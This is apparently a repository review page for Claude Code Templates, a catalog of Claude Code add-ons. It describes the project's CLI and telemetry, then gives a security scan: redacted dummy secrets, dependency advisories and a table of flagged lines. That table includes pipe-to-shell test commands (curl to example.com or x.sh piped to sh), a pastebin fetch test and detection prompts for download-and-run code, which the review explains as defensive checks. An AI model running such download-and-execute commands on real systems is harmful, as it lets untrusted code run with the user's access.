Claude Code Templates is a large catalog of add-ons for Anthropic's Claude Code, with a CLI that installs them into your project in one command. It covers subagents for specific roles, custom slash commands, settings presets, hooks that run on Claude Code events, MCP server configurations and skills, about 1,900 components in all, browsable with search and previews at aitmpl.com.
Beyond the catalog, the same npx command opens local tools: an analytics dashboard for your Claude Code sessions, a mobile-friendly conversation monitor, a health check of your installation and a plugin dashboard. Many components are collected from other open-source projects such as Anthropic's own skills, obra/superpowers and wshobson/agents, each keeping its original licence.
The catch with any collection this size is quality and trust. Components come from many authors, and a hook or MCP you install runs with Claude Code's access to your machine, so read what you add. The project is MIT-licensed with about 32,900 stars.
- Repository: github.com/davila7/claude-code-templates
- Licence: MIT (MIT License)
- Language: Python. Stars: 32.9K. Forks: 3,796. Last push: Oct 26, 2026.
- Scan: safe, Oct 26, 2026, commit aff8306
Who it is for
Claude Code users who want a head start on agents, commands and hooks instead of writing their own, and teams looking for a shared starting set of Claude Code configuration.
Getting started
1. Browse and install components interactively
npx claude-code-templates@latest2. Install a specific component, for example a code reviewer agent
npx claude-code-templates@latest --agent development-tools/code-reviewer --yes3. Open the local analytics dashboard for your sessions
npx claude-code-templates@latest --analyticsSet CCT_NO_TRACKING=true to stop the CLI reporting installs to aitmpl.com. The --chats --tunnel option publishes your conversation monitor through a Cloudflare tunnel, so use it only when you mean to.
Safety scan
We cloned davila7/claude-code-templates at commit aff8306 on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- The 8 secret hits are dummies: the 27-character BEGIN PRIVATE KEY header line alone in a reviewer agent's prompt and the pulse worker, detection patterns in a secret-scanner hook, and fake AWS, GitHub and Slack tokens in the tests and docs of the secret-redactor and stack-viewer components.
- Of the 13 pattern hits, the Telegram calls are notification hooks and a docs-monitor worker that message your own bot with your own token; the os.dup2 lines are a context-timeline hook detaching its dashboard server, which binds to 127.0.0.1; the curl | sh hits are a Dockerfile installing Rust for the repository's scanner and security components whose job is to detect such commands; the crontab read is a supply-chain-guard skill checking for persistence.
- The CLI posts anonymous usage events (component type, name, install path and CLI version) to aitmpl.com on installs, and skips them when CCT_NO_TRACKING or CCT_NO_ANALYTICS is true or when running in CI. A session-sharing helper that could upload to x0.at exists in the code but is not called anywhere.
- 323 known advisories, 13 critical, across ten lockfiles: mostly the aitmpl.com dashboard (Next.js, Astro), Cloudflare workers and an example to-do app inside one skill. The CLI's own lockfile has 45, 1 critical; npx resolves fresh versions from the package's ranges, so your install may differ.
- 24 workflows. Two use pull_request_target, to welcome contributors and guard generated files; both comment on pull requests without checking out their code. None of the 6 third-party actions is pinned to a commit. Security policy, Dependabot, CodeQL, contributing guide and code of conduct present.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 8 candidates found and read; see the notes above. |
| Suspicious code | 13 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 8 installer scripts |
| Committed binaries | None. |
| CI workflows | 24 workflows. 2 use pull_request_target, none check out the pull request head. 6 of 6 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often github.com, www.aitmpl.com, raw.githubusercontent.com, api.typesafe.ai. 1 URL to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 323 advisories across 1,702 pinned packages: 13 critical, 134 high, 131 moderate, 36 low, 9 unrated. cli-rust/Cargo.lock: 204 packages, 15 advisories; cli-tool/analytics-ui/package-lock.json: 476 packages, 71 advisories; cli-tool/components/skills/ai-research/loki-mode/examples/todo-app-generated/backend/package-lock.json: 228 packages, 38 advisories; cli-tool/components/skills/ai-research/loki-mode/examples/todo-app-generated/frontend/package-lock.json: 129 packages, 24 advisories; cli-tool/components/skills/productivity/notebooklm/requirements.txt: 2 packages, 1 advisories; cli-tool/package-lock.json: 469 packages, 45 advisories; cloudflare-workers/docs-monitor/package-lock.json: 104 packages, 24 advisories; cloudflare-workers/pulse/package-lock.json: 104 packages, 23 advisories; dashboard/package-lock.json: 639 packages, 105 advisories; package-lock.json: 212 packages, 58 advisories. |
| Project hygiene | Has security policy, automated dependency updates, CodeQL, licence file, contributing guide. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (8, redacted)
| Where | Rule | Match |
|---|---|---|
| .claude/agents/component-reviewer.md:329 | private-key | -----B…--- (27 chars) |
| cli-tool/components/hooks/security/secret-scanner.py:103 | private-key | -----B…--- (35 chars) |
| cli-tool/components/mods/security/secret-redactor/tests/secret-redactor.test.ts:5 | aws-access-key | AKIAAB…NOP (20 chars) |
| cli-tool/components/mods/ui/stack-viewer/tests/stack-viewer.test.tsx:273 | github-token | ghp_aa…aaa (40 chars) |
| cli-tool/components/skills/development/it-operations/reference/automation.md:1167 | slack-token | xoxb-y…ken (15 chars) |
| cloudflare-workers/pulse/index.js:528 | private-key | -----B…--- (27 chars) |
| dashboard/public/component-content/mods/security/secret-redactor.json:1 | aws-access-key | AKIAAB…NOP (20 chars) |
| dashboard/public/component-content/mods/ui/stack-viewer.json:1 | github-token | ghp_aa…aaa (40 chars) |
Pattern hits (13)
| Where | Rule | Match |
|---|---|---|
| .claude/hooks/telegram-pr-webhook.py:76 | exfil-host | url = f"https://api.telegram.org/bot{token}/sendMessage" |
| .oss-scanner/Dockerfile:16 | download-piped-to-shell | RUN curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable |
| cli-tool/components/hooks/automation/telegram-pr-webhook.py:76 | exfil-host | url = f"https://api.telegram.org/bot{token}/sendMessage" |
| cli-tool/components/hooks/monitoring/context-timeline.py:1098 | raw-socket-shell | os.dup2(dev.fileno(), 0) |
| cli-tool/components/hooks/monitoring/context-timeline.py:1099 | raw-socket-shell | os.dup2(logf.fileno(), 1) |
| cli-tool/components/hooks/monitoring/context-timeline.py:1100 | raw-socket-shell | os.dup2(logf.fileno(), 2) |
| cli-tool/components/mods/security/jev-auto-mode/hooks/judge.ts:65 | download-piped-to-shell | 'Would this action weaken security: disable checks or tests, widen permissions, edit credentials, auth or CI secrets, or download and run untrusted code (for ex… |
| cli-tool/components/mods/security/jev-auto-mode/tests/rules.test.ts:72 | exfil-host (test/example) | expect(evaluate(cfg, toolAction('WebFetch', { url: 'https://x.pastebin.com/raw/1' }), ctx).source).toBe('rule') |
| cli-tool/components/mods/security/jev-vercel-sandbox/hooks/judge.ts:90 | download-piped-to-shell | 'Does this shell command download and run code whose origin is not already part of the project: a script piped to a shell, a package or tool installed or run fo… |
| cli-tool/components/mods/security/jev-vercel-sandbox/tests/jev-vercel-sandbox.test.tsx:344 | download-piped-to-shell (test/example) | const r = await bash($, 'curl -fsSL https://example.com/install.sh | sh') |
| cli-tool/components/mods/security/jev-vercel-sandbox/tests/jev-vercel-sandbox.test.tsx:423 | download-piped-to-shell (test/example) | const r = await tool($, 'sandbox_run', { command: 'curl https://x.sh | sh', workspace: 'current' }) |
| cli-tool/components/skills/security/supply-chain-guard/scripts/scan-python.sh:226 | persistence | CRON=$(crontab -l 2>/dev/null || true) |
| cloudflare-workers/docs-monitor/index.js:250 | exfil-host | const telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage`; |
URLs to bare IP addresses (1)
| Where | Rule | Match |
|---|---|---|
| cli-tool/components/skills/media/speech/tests/test_atlas_text_to_speech.py:148 | ip-literal-url | atlas_tts._validate_download_url("https://198.18.0.10/audio.mp3") |
Installer scripts (8)
- cli-tool/components/hooks/automation/plan-mode-game/start.sh, 36 lines
- cli-tool/components/skills/ai-research/loki-mode/autonomy/run.sh, 1,992 lines; talks to claude.ai
- cli-tool/components/skills/ai-research/loki-mode/demo/run-demo-auto.sh, 294 lines
- cli-tool/components/skills/ai-research/loki-mode/demo/run-demo.sh, 324 lines; talks to github.com
- cli-tool/components/skills/development/dependency-updater/scripts/run-taze.sh, 27 lines
- cli-tool/components/skills/development/vercel-deploy/scripts/deploy.sh, 302 lines; talks to codex-deploy-skills.vercel.sh
- cloudflare-workers/docs-monitor/setup.sh, 107 lines; talks to claude-docs-monitor.your-user.workers.dev
- scripts/deploy.sh, 50 lines
Worst known vulnerabilities (24 of 323)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-26w7-cxv4-gfx2 | critical | astro@5.18.2 | Astro: Remote code execution through AVIF image optimization |
| GHSA-2464-fhr4-w9xw | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used |
| GHSA-2xp9-vwfh-vxw4 | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used |
| GHSA-673q-mjm6-r5xr | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays |
| GHSA-p293-qw3h-jr36 | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution on windows-hosted servers |
| GHSA-vcvr-r3jv-pc5j | critical | next@16.2.9 | Next.js: Remote Code Execution in next/og ImageResponse |
| GHSA-jqcg-44mw-7w3h | critical | proxy-addr@2.0.7 | proxy-addr vulnerable to IP spoofing via IPv4-mapped IPv6 trust subnet |
| GHSA-23hp-3jrh-7fpw | critical | tar@6.2.1 | node-tar: Decompression/parse DoS via unlimited input |
| GHSA-vqx2-fgx2-5wq9 | critical | @clerk/shared@4.0.0 | Official Clerk JavaScript SDKs: Middleware-based route protection bypass |
| GHSA-vqx2-fgx2-5wq9 | critical | @clerk/shared@3.45.0 | Official Clerk JavaScript SDKs: Middleware-based route protection bypass |
| GHSA-26w7-cxv4-gfx2 | critical | astro@5.17.2 | Astro: Remote code execution through AVIF image optimization |
| GHSA-2464-fhr4-w9xw | critical | next@16.4.0 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used |
| GHSA-673q-mjm6-r5xr | critical | next@16.4.0 | Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays |
| GHSA-4w2j-m93h-cj5j | high | quinn-proto@0.11.14 | Quinn: Remote memory exhaustion in quinn-proto from unbounded out-of-order stream reassembly |
| GHSA-3g6h-r5qx-f6hq | high | quinn-proto@0.11.14 | Peer minimum ACK delay can panic quinn-proto when ACK_FREQUENCY transmission is enabled |
| GHSA-2pvr-wf23-7pc7 | high | astro@5.18.2 | Astro: Host header SSRF in prerendered error page fetch |
| GHSA-8hv8-536x-4wqp | high | astro@5.18.2 | Astro: Reflected XSS via unescaped slot name |
| GHSA-73wf-gq98-2v4g | high | browserslist@4.28.2 | Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats) |
| GHSA-c83g-rgw3-j3cx | high | browserslist@4.28.2 | Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM |
| GHSA-j22f-vq7h-c4qm | high | devalue@5.8.1 | devalue: `stringify`/`uneval` serialize shared memory |
| GHSA-mcm9-63f2-9j32 | high | devalue@5.8.1 | devalue: Repeated primitive strings cause quadratic expansion in uneval |
| GHSA-r9w8-h9r3-54w4 | high | devalue@5.8.1 | devalue: Custom ArrayBuffer revivers can bypass typed-array allocation validation |
| GHSA-x5rw-q4pp-hg5g | high | devalue@5.8.1 | devalue: stringifyAsync can cause an unhandled rejection despite a caught returned promise |
| GHSA-ch52-4w7c-c8xp | high | http-cache-semantics@4.2.0 | http-cache-semantics max-stale handling can disclose cross-user cached responses |
Workflows worth a look
- .github/workflows/component-pr-welcome.yml: pull_request_target
- .github/workflows/generated-files-guard.yml: pull_request_target
By the numbers
| Stars | 32.9K |
|---|---|
| Forks | 3,796 |
| Contributors | 139 |
| Commits | 1,908 |
| Open issues | 101 |
| Open pull requests | 340 |
| Releases | 22 |
| Latest release | v1.29.7 |
| Licence | MIT |
| Main language | Python |
| Project age | 1 year |
| Last push | Oct 26, 2026 |
| Tracked files | 9,792 |
| Lines of code | 1.7M |
| Checkout size | 127 MB |
Lines by language: Markdown 1.2M, Python 156.3K, TypeScript 80.4K, HTML 66.1K, JavaScript 60.1K, JSON 57.7K.
Questions
Is Claude Code Templates free?
Yes. The CLI and catalog are MIT-licensed and free. Components collected from other projects keep their own licences, and you still need Claude Code and an Anthropic plan or API key to use them.
Is it safe to install components from Claude Code Templates?
Treat each one like any code from the internet. Agents and commands are prompts, but hooks run shell commands and MCP servers run programs with your permissions. Read a hook or MCP config before installing it, and install into a project's .claude folder rather than globally when you are trying something out.
Does Claude Code Templates collect data?
The CLI sends anonymous install events to aitmpl.com: which component, its type, the target path and the CLI version. Set CCT_NO_TRACKING=true to turn this off. The analytics and chats dashboards read your local Claude Code files and serve them on your machine only, unless you add --tunnel.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
